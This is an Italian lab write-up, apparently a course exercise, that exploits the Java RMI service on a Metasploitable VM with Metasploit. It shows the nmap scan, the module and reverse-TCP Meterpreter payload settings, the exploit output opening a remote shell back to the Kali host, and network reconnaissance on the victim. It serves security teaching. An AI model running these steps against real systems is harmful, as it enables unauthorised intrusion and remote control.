

Creazione sessione Meterpreter

Dopo aver settato gli indirizzi e le configurazioni di Kali e Metaspotable secondo la consegna, provvediamo a entrare in **msfconsole** nel terminale di Kali e facciamo una scansione mirata con **nmap** per verificare che la porta del servizio Java-rmi sia aperta e quindi vulnerabile.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for hosts
```

```
      dBBBBBBBb dBDBP dBBBBBBBP dBBBBBBb .
        'dB'          BBP
d8'd8'd8'd8' dBDBP   dBP    dBP BB
dB'd8'd8'd8' dBDBP   dBP    dBP BB
dB'd8'd8'd8' dBBBBBP dBP     dBBBBBBB

       |
       |
--o--
       |

To boldly go where no
shell has gone before

=[ metasploit v6.4.50-dev ]
+ -- ==[ 2495 exploits - 1283 auxiliary - 393 post ]
+ -- ==[ 1607 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ] ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > nmap -sV -p 1099 192.168.11.112
[*] exec: nmap -sV -p 1099 192.168.11.112

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 06:58 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00039s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:EA:D5:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds
msf6 >
```

Per mandare avanti il nostro exploit con successo, cerchiamo tra I moduli di msfconsole quello più indicato, che nel nostro caso è Java-rmi con il comando **search java-rmi**. Una volta trovato il modulo per l'exploit che ci serve usiamo il comando **use** seguito dal percorso dell'exploit, e usiamo **show option** per vedere quali parametri inserire o modificare.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        .               normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2    \ target: Generic (Java Payload)        .               .       .       .
3    \ target: Windows x86 (Native Payload)  .               .       .       .
4    \ target: Linux x86 (Native Payload)    .               .       .       .
5    \ target: Mac OS X PPC (Native Payload) .               .       .       .
6    \ target: Mac OS X x86 (Native Payload) .               .       .       .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes      Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099           yes      The target port (TCP)
SRVHOST   0.0.0.0        yes      The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes      The local port to listen on.
SSL       false          no       Negotiate SSL for incoming connections
SSLCert   Path to a custom SSL certificate (default is randomly generated)
URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111 yes      The listen address (an interface may be specified)
LPORT     4444           yes      The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)
```

Da questo risultato, notiamo che manca l'indirizzo IP della macchina target e lo impostiamo con il comando **set**, e impostiamo anche il payload con quello suggerito di default. Controlliamo che tutti I parametri siano impostati correttamente, e possiamo lanciare l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes      Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099           yes      The target port (TCP)
SRVHOST   0.0.0.0        yes      The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes      The local port to listen on.
SSL       false          no       Negotiate SSL for incoming connections
SSLCert   Path to a custom SSL certificate (default is randomly generated)
URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111 yes      The listen address (an interface may be specified)
LPORT     4444           yes      The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/KKLv9Fd5tIfR
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50916) at 2025-05-16 07:15:36 -0400

meterpreter > ifconfig
```

Siamo riusciti ad entrare nella nostra macchina vittima e creare la nostra shell avanzata con la sessione Meterpreter. Adesso estrapoliamo con il comando **ifconfig** le configurazione di rete e con il comando **route** le informazioni sulla tabella di routing della macchina vittima.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feea:d525
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway Metric Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway Metric Interface
-----
::1         ::           ::
fe80::a00:27ff:feea:d525 ::           ::
```

Oppure possiamo migrare in una shell e inserire il comando **ip route** per avere una shell diretta del sistema remoto.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ip route
192.168.11.0/24 dev eth0 proto kernel scope link src 192.168.11.112
default via 192.168.11.1 dev eth0 metric 100
█
```